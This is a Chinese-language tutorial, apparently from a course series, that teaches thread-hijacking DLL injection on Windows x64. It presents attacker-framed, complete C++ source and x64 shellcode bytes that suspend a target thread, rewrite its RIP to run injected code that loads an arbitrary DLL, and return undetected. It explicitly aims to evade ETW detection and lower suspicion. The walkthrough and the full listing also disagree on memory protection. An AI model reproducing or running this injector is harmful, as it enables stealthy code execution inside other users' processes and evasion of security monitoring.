阅读时间: 3-4 分钟
前置知识: 理解 APC 注入、线程上下文、CPU 寄存器、x64 调用约定
学习目标: 掌握线程劫持技术,理解如何通过修改 RIP 寄存器实现代码注入


📺 配套视频教程

本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:

💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!

视频链接: https://www.bilibili.com/video/BV1zWshzeE28/


承接上节:APC 注入为什么会失效?

上节课,我们用 APC 注入成功绕过了 ETW 的线程创建检测:

  • ✅ 不创建新线程,复用现有线程
  • ✅ ETW 检测器完全沉默
  • ✅ 比 Shellcode 注入更隐蔽

看起来很完美,但当你在实战环境测试时,会发现一个让人崩溃的问题:

APC 入队成功了,但 DLL 就是不加载!

为什么?让我们回顾一下 APC 的执行条件:

  • 线程必须调用 SleepEx(time, TRUE)
  • 或者 WaitForSingleObjectEx(..., TRUE)
  • 最后一个参数必须是 TRUE(进入可警报状态)

问题的根源:如果目标进程的线程从不进入 Alertable 状态呢?

举个实际场景:

1
2
3
4
5
6
// 某个控制台程序的主循环(非常常见)
while (true)
{
DoSomeWork();
Sleep(1000); // 注意:不是 SleepEx(1000, TRUE)
}

这个线程永远不会进入 Alertable 状态!

攻击者的尴尬时刻:

  • ✅ APC 入队成功,提示”已入队到 5 个线程”
  • ❌ 等了 5 分钟,DLL 还是没加载
  • ❌ 只能被动等待,像个傻子
  • ❌ 攻击完全失败

作为攻击者,这能忍吗?

当然不能!今天我们就来解决这个问题

攻击者的新思路:主动劫持线程

既然 APC 是”被动等待”,那我们就主动出击!

核心思想:
不等线程自己进入 Alertable 状态,我直接强制修改线程的执行流程

具体怎么做?

  1. 暂停线程 → 线程停止工作
  2. 读取线程上下文 → 拿到所有寄存器的值
  3. 修改 RIP 寄存器 → 改成我们的 Shellcode 地址
  4. 恢复线程 → 线程立即执行我们的代码!

这就是线程劫持技术

核心原理讲解:什么是线程上下文和 RIP 寄存器

在深入代码之前,我们必须理解两个关键概念。

什么是线程上下文(Thread Context)?

线程上下文是 CPU 执行线程时所有寄存器状态的快照

要理解这句话,需要先知道什么是寄存器:

  • 寄存器是 CPU 内部的存储单元,速度比内存快 100 倍以上
  • CPU 执行任何操作都依赖寄存器:存储数据、计算结果、记录执行位置等
  • 线程在 CPU 上运行时,这些寄存器的值就构成了”线程上下文”

这些寄存器可以分为以下几类:

1. 指令指针寄存器(最关键)

  • RIP:存储下一条要执行的指令地址
  • 这是线程劫持的核心目标

2. 通用寄存器(存储数据)

  • RAX, RBX, RCX, RDX:存储计算结果、函数参数
  • R8, R9, R10, R11, R12, R13, R14, R15:x64 扩展寄存器

3. 栈寄存器(管理函数调用)

  • RSP:栈顶指针,指向当前栈的位置
  • RBP:栈底指针,用于访问局部变量

4. 其他寄存器

  • 段寄存器(CS, DS, SS…):控制内存访问
  • 标志寄存器(EFLAGS):保存运算状态(零标志、进位标志等)

Windows 用 CONTEXT 结构体保存这些寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
typedef struct _CONTEXT {
// 1. 指令指针(最关键!)
DWORD64 Rip;

// 2. 通用寄存器
DWORD64 Rax, Rbx, Rcx, Rdx;
DWORD64 Rsi, Rdi;
DWORD64 R8, R9, R10, R11, R12, R13, R14, R15;

// 3. 栈寄存器
DWORD64 Rsp, Rbp;

// 4. 其他寄存器
WORD SegCs, SegDs, SegEs, SegFs, SegGs, SegSs;
DWORD EFlags;

// ... 还有浮点寄存器 (XMM0-XMM15)、调试寄存器等
} CONTEXT;

为什么需要读取线程上下文?

因为线程劫持需要:

  1. 读取原始 RIP(保存线程当前执行到哪里)
  2. 修改 RIP 为 Shellcode 地址(让线程去执行我们的代码)
  3. Shellcode 执行完后,跳回原始 RIP(线程继续正常工作)

什么是 RIP 寄存器?

RIP (Instruction Pointer Register) 存储下一条要执行的指令地址

CPU 的工作循环:

1
2
3
4
1. 从内存地址 RIP 读取指令
2. 执行这条指令
3. RIP 自动指向下一条指令
4. 重复步骤 1

正常执行示例:

1
2
3
RIP = 0x00007FF812340A10  → 执行 mov rax, rbx
RIP = 0x00007FF812340A13 → 执行 add rax, 1
RIP = 0x00007FF812340A16 → 执行 ret

线程劫持的关键:破坏 RIP 的正常执行流程

正常情况下,RIP 会按照程序的逻辑顺序自动递增:

1
2
3
4
RIP = 0x00007FF812340A10  → 执行指令 A
RIP = 0x00007FF812340A13 → 执行指令 B (自动递增)
RIP = 0x00007FF812340A17 → 执行指令 C (自动递增)
...

而我们要做的,就是强制打断这个流程:

1
2
3
4
1. 暂停线程 (SuspendThread)
2. 读取当前 RIP = 0x00007FF812340A10
3. 强制修改 RIP = 0x23F4A7B0000 (我们的 Shellcode 地址)
4. 恢复线程 (ResumeThread)

劫持后的执行流程:

1
2
3
4
5
6
7
RIP = 0x23F4A7B0000      → 执行我们的 Shellcode!
RIP = 0x23F4A7B0010 → 继续执行 Shellcode
RIP = 0x23F4A7B0020 → Shellcode 调用 LoadLibraryA

Shellcode 执行完毕,恢复原始 RIP

RIP = 0x00007FF812340A10 → 线程继续正常执行 (就像什么都没发生)

CPU 不关心代码的来源,只会机械地执行 RIP 指向的指令。

这就是线程劫持的威力:不创建新线程,只是”借用”现有线程执行一段代码,执行完就还回去!

完整的劫持流程图示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
正常线程执行流程:
┌─────────────────────────────────┐
│ 线程正常工作中 │
│ RIP = 0x7FF812340A10 │
│ ┌─────┐ ┌─────┐ ┌─────┐ │
│ │代码1 │→│代码2 │→│代码3 │ │
│ └─────┘ └─────┘ └─────┘ │
└─────────────────────────────────┘

攻击者劫持流程:
┌─────────────────────────────────┐
│ 1. SuspendThread │
│ 线程暂停,RIP = 0x7FF812340A10│
├─────────────────────────────────┤
│ 2. GetThreadContext │
│ 读取 RIP,保存原始值 │
├─────────────────────────────────┤
│ 3. SetThreadContext │
│ 修改 RIP = 0x23F4A7B0000 │
│ (Shellcode 地址) │
├─────────────────────────────────┤
│ 4. ResumeThread │
│ 线程恢复,从 Shellcode 执行! │
│ ┌──────────┐ ┌──────────┐ │
│ │Shellcode │→│LoadLibrary│ │
│ └──────────┘ └──────────┘ │
│ ↓ │
│ 跳回原始 RIP (0x7FF812340A10)│
│ ┌─────┐ ┌─────┐ ┌─────┐ │
│ │代码1 │→│代码2 │→│代码3 │ │
│ └─────┘ └─────┘ └─────┘ │
│ 线程继续正常工作 │
└─────────────────────────────────┘

与 APC 注入的对比分析

让我们详细对比一下两种技术:

维度 APC 注入 线程劫持
创建新线程 ❌ 否 ❌ 否
执行时机 被动等待 Alertable 状态 主动控制,立即执行
成功率 低(线程可能永不 Alertable) 高(强制劫持)
修改线程上下文 ❌ 不修改 ✅ 修改 RIP 寄存器
需要 Shellcode ❌ 直接调用 LoadLibrary ✅ 需要保存/恢复 RIP
风险 低(系统自动调度) 中(需正确保存/恢复上下文)
检测难度 中(监控 QueueUserAPC) 中(监控 SuspendThread/SetThreadContext)

核心差异总结:

  • APC 注入:温和,但不可控
  • 线程劫持:暴力,但可靠

Shellcode 设计:执行代码后跳回原位

线程劫持比 APC 注入多了一个关键步骤:必须跳回原始 RIP

为什么?

  • 因为我们强制修改了线程的执行流
  • 如果不跳回去,线程会崩溃
  • 进程也会崩溃

完整的 Shellcode 逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
; 1. 保存易失寄存器(x64 调用约定要求)
sub rsp, 28h ; 分配 Shadow Space + 栈对齐
mov [rsp+18h], rax ; 保存 RAX
mov [rsp+10h], rcx ; 保存 RCX

; 2. 调用 LoadLibraryA
mov rcx, <dllPath> ; 第一个参数:DLL 路径地址
mov rax, <LoadLibraryA> ; 函数地址
call rax ; 调用 LoadLibraryA(dllPath)

; 3. 恢复寄存器(关键!)
mov rcx, [rsp+10h] ; 恢复 RCX
mov rax, [rsp+18h] ; 恢复 RAX(关键!)
add rsp, 28h ; 释放栈空间

; 4. 跳回原始 RIP
mov r11, <originalRip> ; R11 = 原 RIP 地址
jmp r11 ; 跳回原位置,线程继续工作

为什么要保存/恢复 RAX 和 RCX?

这是 x64 调用约定的要求:

  • RAX:存放函数返回值,调用 LoadLibrary 后会被覆盖
  • RCX:第一个参数寄存器,我们用它传 DLL 路径
  • 如果不恢复,线程恢复后寄存器值错误 → 崩溃!

对应的 C++ 字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned char g_Shellcode[] = {
0x48, 0x83, 0xEC, 0x28, // sub rsp, 28h
0x48, 0x89, 0x44, 0x24, 0x18, // mov [rsp+18h], rax
0x48, 0x89, 0x4C, 0x24, 0x10, // mov [rsp+10h], rcx
0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, <dllPath> (占位符)
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, <LoadLibraryA> (占位符)
0xFF, 0xD0, // call rax
0x48, 0x8B, 0x4C, 0x24, 0x10, // mov rcx, [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18, // mov rax, [rsp+18h]
0x48, 0x83, 0xC4, 0x28, // add rsp, 28h
0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r11, <originalRip> (占位符)
0x41, 0xFF, 0xE3 // jmp r11
};

注意占位符的位置:

  • shellcode + 16:DLL 路径地址(8 字节)
  • shellcode + 26:LoadLibraryA 地址(8 字节)
  • shellcode + 52:原始 RIP 地址(8 字节)

动手实现线程劫持注入

理解原理后,我们来实现完整代码。

从 main 函数开始

1
2
3
4
5
6
7
8
9
10
11
int main()
{
std::cout << "=== 线程劫持注入 ===\r\n\r\n";
DWORD targetPid = 0;
std::cout << "请输入目标进程 PID: ";
std::cin >> targetPid;
const char* dllPath = "C:\\Injection.dll";
InjectDllWithThreadHijack(targetPid, dllPath);
system("pause");
return 0;
}

第一步:打开进程并验证 DLL 路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BOOL InjectDllWithThreadHijack(DWORD dwProcessId, const char* dllPath)
{
BOOL bSuccess = FALSE;
// 打开进程(需要内存操作权限)
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE,
dwProcessId
);
if (!hProcess)
{
std::cout << "打开进程失败,错误码: " << GetLastError() << "\r\n";
return FALSE;
}
std::cout << "成功打开目标进程 PID=" << dwProcessId << "\r\n";
// 验证 DLL 文件是否存在
if (GetFileAttributesA(dllPath) == INVALID_FILE_ATTRIBUTES)
{
std::cout << "警告: DLL 文件不存在或无法访问: " << dllPath << "\r\n";
std::cout << "继续执行,但注入可能失败...\r\n";
}
// ... 继续后续步骤
}

权限说明:

  • PROCESS_VM_OPERATION:内存分配权限
  • PROCESS_VM_WRITE:内存写入权限
  • PROCESS_VM_READ:内存读取权限(可选)
  • PROCESS_QUERY_INFORMATION:查询进程信息

为什么不需要 PROCESS_CREATE_THREAD?
因为线程劫持不创建新线程,这是绕过 ETW 检测的关键!

第二步:获取 LoadLibraryA 地址并分配内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 获取 LoadLibraryA 地址
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (!pLoadLibraryA)
{
std::cout << "获取 LoadLibraryA 地址失败\r\n";
CloseHandle(hProcess);
return FALSE;
}
std::cout << "LoadLibraryA 地址: 0x" << std::hex << (uintptr_t)pLoadLibraryA << std::dec << "\r\n";

// 在目标进程中分配两块内存
size_t dllPathLen = strlen(dllPath) + 1;
LPVOID pRemoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sizeof(g_Shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (!pRemoteDllPath || !pRemoteShellcode)
{
std::cout << "分配内存失败,错误码: " << GetLastError() << "\r\n";
if (pRemoteDllPath) VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
if (pRemoteShellcode) VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

std::cout << "DLL 路径地址: 0x" << std::hex << (uintptr_t)pRemoteDllPath << std::dec << "\r\n";
std::cout << "Shellcode 地址: 0x" << std::hex << (uintptr_t)pRemoteShellcode << std::dec << "\r\n";

// 写入 DLL 路径
if (!WriteProcessMemory(hProcess, pRemoteDllPath, dllPath, dllPathLen, NULL))
{
std::cout << "写入 DLL 路径失败,错误码: " << GetLastError() << "\r\n";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

为什么暂时分配 PAGE_READWRITE 而不是 PAGE_EXECUTE_READWRITE?

  • 降低可疑性(很多安全软件会监控可执行内存分配)
  • 写入完成后再修改为可执行

第三步:枚举线程,选择劫持目标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 创建线程快照
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
std::cout << "创建线程快照失败,错误码: " << GetLastError() << "\r\n";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
if (!Thread32First(hSnapshot, &te32))
{
std::cout << "枚举线程失败,错误码: " << GetLastError() << "\r\n";
CloseHandle(hSnapshot);
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

std::cout << "\r\n开始枚举线程...\r\n";
int threadCount = 0;

为什么需要枚举线程?
因为我们需要找到一个可以劫持的线程:

  • 必须属于目标进程
  • 必须能成功暂停
  • 必须能成功读取/修改上下文

第四步:劫持线程(核心步骤)

这是整个技术的核心,我们详细拆解每一步。

4.1 遍历线程并尝试劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
do
{
// 只处理目标进程的线程
if (te32.th32OwnerProcessID != dwProcessId)
continue;

threadCount++;

// 打开线程(需要暂停/上下文操作权限)
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
FALSE,
te32.th32ThreadID
);

if (!hThread)
{
std::cout << " [!] 线程 " << te32.th32ThreadID << ": 打开失败,错误码: " << GetLastError() << "\r\n";
continue;
}

std::cout << " [*] 尝试劫持线程 " << te32.th32ThreadID << "...\r\n";

// ... 继续劫持流程
} while (Thread32Next(hSnapshot, &te32));

权限说明:

  • THREAD_SUSPEND_RESUME:暂停/恢复线程
  • THREAD_GET_CONTEXT:读取线程上下文
  • THREAD_SET_CONTEXT:修改线程上下文

4.2 暂停线程

1
2
3
4
5
6
if (SuspendThread(hThread) == (DWORD)-1)
{
std::cout << " 暂停线程失败\r\n";
CloseHandle(hThread);
continue;
}

暂停线程的意义:

  • 线程停止执行,RIP 寄存器不再变化
  • 我们可以安全地读取/修改上下文
  • 如果不暂停,RIP 值会不断变化,修改会失败

4.3 读取线程上下文,保存原始 RIP

1
2
3
4
5
6
7
8
9
10
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;

if (!GetThreadContext(hThread, &ctx))
{
std::cout << " 获取上下文失败\r\n";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}

CONTEXT_FULL 的含义:
读取完整的线程上下文,包括:

  • 通用寄存器(RAX, RBX, RCX, RDX…)
  • 指令指针(RIP)
  • 栈指针(RSP, RBP)
  • 段寄存器(CS, DS, SS…)

此时 ctx.Rip 保存了线程当前的执行位置,这是我们必须保存的值!

4.4 填充 Shellcode 占位符

1
2
3
4
5
6
7
8
// 复制 Shellcode 模板
unsigned char shellcode[sizeof(g_Shellcode)];
memcpy(shellcode, g_Shellcode, sizeof(g_Shellcode));

// 填充三个占位符
*(DWORD64*)(shellcode + 16) = (DWORD64)pRemoteDllPath; // DLL 路径地址
*(DWORD64*)(shellcode + 26) = (DWORD64)pLoadLibraryA; // LoadLibraryA 地址
*(DWORD64*)(shellcode + 52) = (DWORD64)ctx.Rip; // ⭐ 原始 RIP(关键!)

为什么是这三个地址?

  • 偏移 16:DLL 路径地址(mov rcx, <dllPath> 的操作数位置)
  • 偏移 26:LoadLibraryA 地址(mov rax, <LoadLibraryA> 的操作数位置)
  • 偏移 52:原始 RIP(mov r11, <originalRip> 的操作数位置)

4.5 写入 Shellcode 并修改内存属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 写入填充后的 Shellcode
if (!WriteProcessMemory(hProcess, pRemoteShellcode, shellcode, sizeof(shellcode), NULL))
{
std::cout << " 写入 Shellcode 失败\r\n";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}

// 修改内存保护属性为可执行
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, pRemoteShellcode, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect))
{
std::cout << " 修改内存保护属性失败\r\n";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}

为什么要修改为 PAGE_EXECUTE_READ?

  • 代码必须有执行权限才能运行
  • 只读权限可以防止意外覆盖
  • 去掉写权限也降低了可疑性

4.6 修改 RIP 并恢复线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 修改 RIP 指向 Shellcode
ctx.Rip = (DWORD64)pRemoteShellcode;

if (!SetThreadContext(hThread, &ctx))
{
std::cout << " 设置上下文失败\r\n";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}

// 恢复线程,立即执行 Shellcode!
ResumeThread(hThread);
CloseHandle(hThread);

std::cout << " [+] 线程劫持成功!\r\n";
bSuccess = TRUE;
break; // 劫持一个线程就够了

执行流程:

  1. SetThreadContext 修改 RIP = Shellcode 地址
  2. ResumeThread 恢复线程执行
  3. CPU 从 Shellcode 地址开始执行
  4. Shellcode 调用 LoadLibrary 加载 DLL
  5. Shellcode 跳回原始 RIP
  6. 线程继续正常工作,就像什么都没发生过

第五步:输出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CloseHandle(hSnapshot);
CloseHandle(hProcess);

if (bSuccess)
{
std::cout << "\r\n=== 线程劫持注入成功 ===\r\n";
std::cout << "DLL 将立即加载,无需等待 Alertable 状态!\r\n";
std::cout << "提示: 没有创建新线程,ETW 检测器不会报警!\r\n";
}
else
{
std::cout << "\r\n线程劫持失败,共尝试 " << threadCount << " 个线程\r\n";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
}
return bSuccess;

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <cstdint>
#include <cstring>

/**
* @file 05-攻击篇-线程劫持.cpp
* @brief 通过线程劫持实现 DLL 注入,不依赖 Alertable 状态
* @author ud2
* @details 暂停线程 → 修改 RIP → 执行 Shellcode → 恢复原始 RIP
*/

#if !defined(_WIN64)
#error "此程序必须以 x64 模式编译"
#endif

/**
* @brief Shellcode 字节码(x64)
* @details 遵守 x64 调用约定,保存并恢复所有易失寄存器
*
* sub rsp, 28h ; 分配栈空间(0x20=shadow + 0x08=对齐)
* mov [rsp+18h], rax ; *** 保存原 RAX ***
* mov [rsp+10h], rcx ; *** 保存原 RCX ***
* mov rcx, <dllPath> ; 第一个参数:DLL 路径
* mov rax, <LoadLibraryA> ; 函数地址
* call rax ; LoadLibraryA(dllPath)
* mov rcx, [rsp+10h] ; *** 恢复原 RCX ***
* mov rax, [rsp+18h] ; *** 恢复原 RAX ***(关键!)
* add rsp, 28h ; 释放栈空间
* mov r11, <originalRip> ; R11 = 原 RIP
* jmp r11 ; 跳回(所有寄存器已恢复)
*/
unsigned char g_Shellcode[] = {
0x48, 0x83, 0xEC, 0x28, // sub rsp, 28h
0x48, 0x89, 0x44, 0x24, 0x18, // mov [rsp+18h], rax
0x48, 0x89, 0x4C, 0x24, 0x10, // mov [rsp+10h], rcx
0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, <dllPath> (占位)
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, <LoadLibraryA> (占位)
0xFF, 0xD0, // call rax
0x48, 0x8B, 0x4C, 0x24, 0x10, // mov rcx, [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18, // mov rax, [rsp+18h]
0x48, 0x83, 0xC4, 0x28, // add rsp, 28h
0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r11, <originalRip> (占位)
0x41, 0xFF, 0xE3 // jmp r11
};

/**
* @brief 使用线程劫持注入 DLL
* @param dwProcessId 目标进程 ID
* @param dllPath DLL 文件完整路径(ANSI)
* @return 成功返回 TRUE,失败返回 FALSE
* @details 暂停线程,修改 RIP 指向 Shellcode,恢复线程
*/
BOOL InjectDllWithThreadHijack(DWORD dwProcessId, const char* dllPath)
{
BOOL bSuccess = FALSE;
// ========== 第一步:打开目标进程 ==========
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE,
dwProcessId
);
if (!hProcess)
{
std::cout << "打开进程失败,错误码: " << GetLastError() << "\r\n";
return FALSE;
}
std::cout << "成功打开目标进程 PID=" << dwProcessId << "\r\n";
if (GetFileAttributesA(dllPath) == INVALID_FILE_ATTRIBUTES)
{
std::cout << "警告: DLL 文件不存在或无法访问: " << dllPath << "\r\n";
std::cout << "继续执行,但注入可能失败...\r\n";
}
// ========== 第二步:获取 LoadLibraryA 地址 ==========
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (!pLoadLibraryA)
{
std::cout << "获取 LoadLibraryA 地址失败\r\n";
CloseHandle(hProcess);
return FALSE;
}
std::cout << "LoadLibraryA 地址: 0x" << std::hex << (uintptr_t)pLoadLibraryA << std::dec << "\r\n";
// ========== 第三步:在目标进程中分配内存 ==========
size_t dllPathLen = strlen(dllPath) + 1;
LPVOID pRemoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sizeof(g_Shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteDllPath || !pRemoteShellcode)
{
std::cout << "分配内存失败,错误码: " << GetLastError() << "\r\n";
if (pRemoteDllPath) VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
if (pRemoteShellcode) VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "DLL 路径地址: 0x" << std::hex << (uintptr_t)pRemoteDllPath << std::dec << "\r\n";
std::cout << "Shellcode 地址: 0x" << std::hex << (uintptr_t)pRemoteShellcode << std::dec << "\r\n";
// ========== 第四步:写入 DLL 路径到远程内存 ==========
if (!WriteProcessMemory(hProcess, pRemoteDllPath, dllPath, dllPathLen, NULL))
{
std::cout << "写入 DLL 路径失败,错误码: " << GetLastError() << "\r\n";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// ========== 第五步:枚举目标进程的所有线程 ==========
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
std::cout << "创建线程快照失败,错误码: " << GetLastError() << "\r\n";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
if (!Thread32First(hSnapshot, &te32))
{
std::cout << "枚举线程失败,错误码: " << GetLastError() << "\r\n";
CloseHandle(hSnapshot);
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

std::cout << "\r\n开始枚举线程...\r\n";
int threadCount = 0;
// ========== 第六步:遍历线程,尝试劫持 ==========
do
{
// 6.1 过滤:只处理目标进程的线程
if (te32.th32OwnerProcessID != dwProcessId)
continue;
threadCount++;
// 6.2 打开线程(需要暂停、读取、修改上下文的权限)
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
FALSE,
te32.th32ThreadID
);
if (!hThread)
{
std::cout << " [!] 线程 " << te32.th32ThreadID << ": 打开失败,错误码: " << GetLastError() << "\r\n";
continue;
}
std::cout << " [*] 尝试劫持线程 " << te32.th32ThreadID << "...\r\n";
// 6.3 暂停线程(冻结 RIP,防止执行位置变化)
if (SuspendThread(hThread) == (DWORD)-1)
{
std::cout << " 暂停线程失败\r\n";
CloseHandle(hThread);
continue;
}
// 6.4 获取线程上下文(读取所有寄存器状态)
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &ctx))
{
std::cout << " 获取上下文失败\r\n";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}
// 6.5 填充 Shellcode 占位符(关键步骤!)
unsigned char shellcode[sizeof(g_Shellcode)];
memcpy(shellcode, g_Shellcode, sizeof(g_Shellcode));
*(DWORD64*)(shellcode + 16) = (DWORD64)pRemoteDllPath; // DLL 路径地址
*(DWORD64*)(shellcode + 26) = (DWORD64)pLoadLibraryA; // LoadLibraryA 地址
*(DWORD64*)(shellcode + 52) = (DWORD64)ctx.Rip; // 原始 RIP(必须保存!)
// 6.6 写入填充后的 Shellcode 到远程进程
if (!WriteProcessMemory(hProcess, pRemoteShellcode, shellcode, sizeof(shellcode), NULL))
{
std::cout << " 写入 Shellcode 失败\r\n";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}
// 6.7 修改 RIP 指向 Shellcode(劫持执行流!)
ctx.Rip = (DWORD64)pRemoteShellcode;
if (!SetThreadContext(hThread, &ctx))
{
std::cout << " 设置上下文失败\r\n";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}
// 6.8 恢复线程(开始执行 Shellcode!)
ResumeThread(hThread);
CloseHandle(hThread);
std::cout << " [+] 线程劫持成功!\r\n";
bSuccess = TRUE;
break; // 劫持一个线程就够了

} while (Thread32Next(hSnapshot, &te32));
// ========== 第七步:清理资源 ==========
CloseHandle(hSnapshot);
CloseHandle(hProcess);
// ========== 第八步:输出结果 ==========
if (bSuccess)
{
std::cout << "\r\n=== 线程劫持注入成功 ===\r\n";
std::cout << "DLL 将立即加载,无需等待 Alertable 状态!\r\n";
std::cout << "提示: 没有创建新线程,ETW 检测器不会报警!\r\n";
}
else
{
std::cout << "\r\n线程劫持失败,共尝试 " << threadCount << " 个线程\r\n";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
}
return bSuccess;
}

/**
* @brief 程序入口
* @return 程序退出码
*/
int main()
{
std::cout << "=== 线程劫持注入 ===\r\n\r\n";
DWORD targetPid = 0;
std::cout << "请输入目标进程 PID: ";
std::cin >> targetPid;
const char* dllPath = "C:\\Injection.dll";
InjectDllWithThreadHijack(targetPid, dllPath);
system("pause");
return 0;
}

核心要点总结

  1. 打开进程(不需要 PROCESS_CREATE_THREAD)
  2. 分配内存(DLL 路径 + Shellcode)
  3. 枚举线程并选择目标
  4. 暂停线程 → 读取上下文 → 保存原始 RIP
  5. 填充 Shellcode 占位符(DLL 路径、LoadLibrary、原始 RIP)
  6. 写入 Shellcode 到远程进程
  7. 修改 RIP = Shellcode 地址
